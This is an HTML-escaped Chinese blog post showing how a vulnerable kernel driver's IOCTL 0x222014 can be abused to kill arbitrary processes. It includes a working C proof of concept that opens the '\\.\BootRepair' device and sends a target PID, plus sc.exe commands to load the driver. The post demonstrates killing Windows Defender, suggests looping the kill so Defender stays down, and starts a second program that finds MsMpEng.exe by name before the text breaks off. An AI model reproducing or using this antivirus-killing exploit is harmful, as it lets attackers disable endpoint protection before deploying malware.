rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;9&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095216178217953627261.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1920&quot; type=&quot;block&quot; data-imgfileid=&quot;100000157&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section data-layout-id=&quot;10&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;可以看到调用号为0x222014,漏洞函数为sub_14000198C&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;11&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095217178217953785606.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;942&quot; type=&quot;block&quot; data-imgfileid=&quot;100000158&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section data-layout-id=&quot;12&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;函数也十分简洁明了,就差把注释写脸上了,直接就是终结进程的函数,没有任何校验和其他逻辑&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;13&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095217178217953726492.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1095&quot; type=&quot;block&quot; data-imgfileid=&quot;100000159&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;h1 style=&quot;color: rgba(0, 0, 0, 0.9);text-align: center;font-size: 20px;font-weight: 500;line-height: 1.8;margin-bottom: 12px;&quot; data-layout-id=&quot;14&quot;&gt;&lt;span leaf=&quot;&quot;&gt;代码实现&lt;/span&gt;&lt;/h1&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;code-snippet__js&quot; data-lang=&quot;cpp&quot;&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__keyword&quot;&gt;include&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__keyword&quot;&gt;include&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__title&quot;&gt;main&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;&lt;span class=&quot;code-snippet__type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;&lt;span class=&quot;code-snippet__type&quot;&gt;char&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;* argv[])&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&amp;nbsp;&lt;/span&gt;{&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(argc !=&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;2&lt;/span&gt;) {&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;printf&lt;/span&gt;(&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;quot;usage: poc.exe &amp;lt;pid&amp;gt;\n&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;1&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;DWORD pid =&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;atoi&lt;/span&gt;(argv[&lt;span class=&quot;code-snippet__number&quot;&gt;1&lt;/span&gt;]);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;HANDLE h =&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;CreateFileW&lt;/span&gt;(&lt;span class=&quot;code-snippet__string&quot;&gt;L&amp;quot;\\\\.\\BootRepair&amp;quot;&lt;/span&gt;, GENERIC_READ | GENERIC_WRITE,&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__literal&quot;&gt;NULL&lt;/span&gt;, OPEN_EXISTING,&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__literal&quot;&gt;NULL&lt;/span&gt;);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(h == INVALID_HANDLE_VALUE) {&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;printf&lt;/span&gt;(&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;quot;[-] open device failed: %d\n&amp;quot;&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;GetLastError&lt;/span&gt;());&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;1&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;DWORD ret;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span class=&quot;code-snippet__built_in&quot;&gt;DeviceIoControl&lt;/span&gt;(h,&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0x222014&lt;/span&gt;, &amp;amp;pid,&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;sizeof&lt;/span&gt;(pid),&amp;nbsp;&lt;span class=&quot;code-snippet__literal&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;, &amp;amp;ret,&amp;nbsp;&lt;span class=&quot;code-snippet__literal&quot;&gt;NULL&lt;/span&gt;))&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;printf&lt;/span&gt;(&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;quot;[+] killed %d\n&amp;quot;&lt;/span&gt;, pid);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;else&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;printf&lt;/span&gt;(&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;quot;[-] ioctl failed: %d\n&amp;quot;&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;GetLastError&lt;/span&gt;());&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;CloseHandle&lt;/span&gt;(h);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/section&gt;&lt;h1 style=&quot;color: rgba(0, 0, 0, 0.9);text-align: center;font-size: 20px;font-weight: 500;line-height: 1.8;margin-bottom: 12px;&quot; data-layout-id=&quot;16&quot;&gt;&lt;span leaf=&quot;&quot;&gt;实战效果&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;text-align: start;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;17&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: rgba(0, 0, 0, 0.9);&quot;&gt;window defender&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: start;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;18&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: rgba(0, 0, 0, 0.9);&quot;&gt;这里模拟漏洞驱动加载&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;pre class=&quot;code-snippet__js&quot; data-lang=&quot;bash&quot;&gt;sc.exe&amp;nbsp;create&amp;nbsp;test&amp;nbsp;binPath=&amp;quot;test.sys&amp;quot;&amp;nbsp;type=kernelsc.exe&amp;nbsp;start&amp;nbsp;test&lt;/pre&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;20&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095217178217953791262.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1100&quot; type=&quot;block&quot; data-imgfileid=&quot;100000160&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section data-layout-id=&quot;21&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;可以看到成功杀死window defender 注意 defender会不断重启 写个while循环反复kill即可&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;22&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095218178217953847552.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1218&quot; type=&quot;block&quot; data-imgfileid=&quot;100000161&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;23&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095218178217953850979.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;937&quot; type=&quot;block&quot; data-imgfileid=&quot;100000162&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;h1 data-layout-id=&quot;24&quot; style=&quot;font-size: 20px;font-weight: 500;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 12px;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;相关代码&lt;/span&gt;&lt;/h1&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;pre class=&quot;code-snippet__js&quot; data-lang=&quot;cpp&quot;&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__keyword&quot;&gt;include&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__keyword&quot;&gt;include&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;lt;tlhelp32.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__keyword&quot;&gt;include&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__keyword&quot;&gt;include&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;lt;wchar.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__keyword&quot;&gt;define&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&amp;nbsp;DEFENDER_PROCESS_NAME&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__meta&quot;&gt;&lt;span class=&quot;code-snippet__string&quot;&gt;L&amp;quot;MsMpEng.exe&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;DWORD&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__title&quot;&gt;GetDefenderProcessId&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;&lt;span class=&quot;code-snippet__type&quot;&gt;const&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;&lt;span class=&quot;code-snippet__type&quot;&gt;wchar_t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;* processName)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&amp;nbsp;&lt;/span&gt;{&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;DWORD pid =&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;HANDLE hSnapshot =&amp;nbsp;&lt;span class=&quot;code-snippet__literal&quot;&gt;NULL&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;PROCESSENTRY32W pe32;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;hSnapshot =&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;CreateToolhelp32Snapshot&lt;/span&gt;(TH32CS_SNAPPROCESS,&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(hSnapshot == INVALID_HANDLE_VALUE) {&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;pe&lt;span class=&quot;code-snippet__number&quot;&gt;32.&lt;/span&gt;dwSize =&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;sizeof&lt;/span&gt;(PROCESSENTRY32W);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(!&lt;span class=&quot;code-snippet__built_in&quot;&gt;Process32FirstW&lt;/span&gt;(hSnapshot, &amp;amp;pe32)) {&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;CloseHandle&lt;/span&gt;(hSnapshot);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;do&lt;/span&gt;&amp;nbsp;{&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(_wcsicmp(pe&lt;span class=&quot;code-snippet__number&quot;&gt;32.&lt;/span&gt;szExeFile, processName) ==&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;) {&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;pid = pe&lt;span class=&quot;code-snippet__number&quot;&gt;32.&lt;/span&gt;th32ProcessID;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;break&lt;/span&gt;;&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;while&lt;/span&gt;&amp;nbsp;(&lt;span class=&quot;code-snippet__built_in&quot;&gt;Process32NextW&lt;/span&gt;(hSnapshot, &amp;amp;pe32));&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;CloseHandle&lt;/span&gt;(hSnapshot);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;pid;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__title&quot;&gt;main&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;&lt;span class=&quot;code-snippet__type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;&lt;span class=&quot;code-snippet__type&quot;&gt;char&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&lt;span class=&quot;code-snippet__params&quot;&gt;* argv[])&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;code-snippet__function&quot;&gt;&amp;nbsp;&lt;/span&gt;{&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span 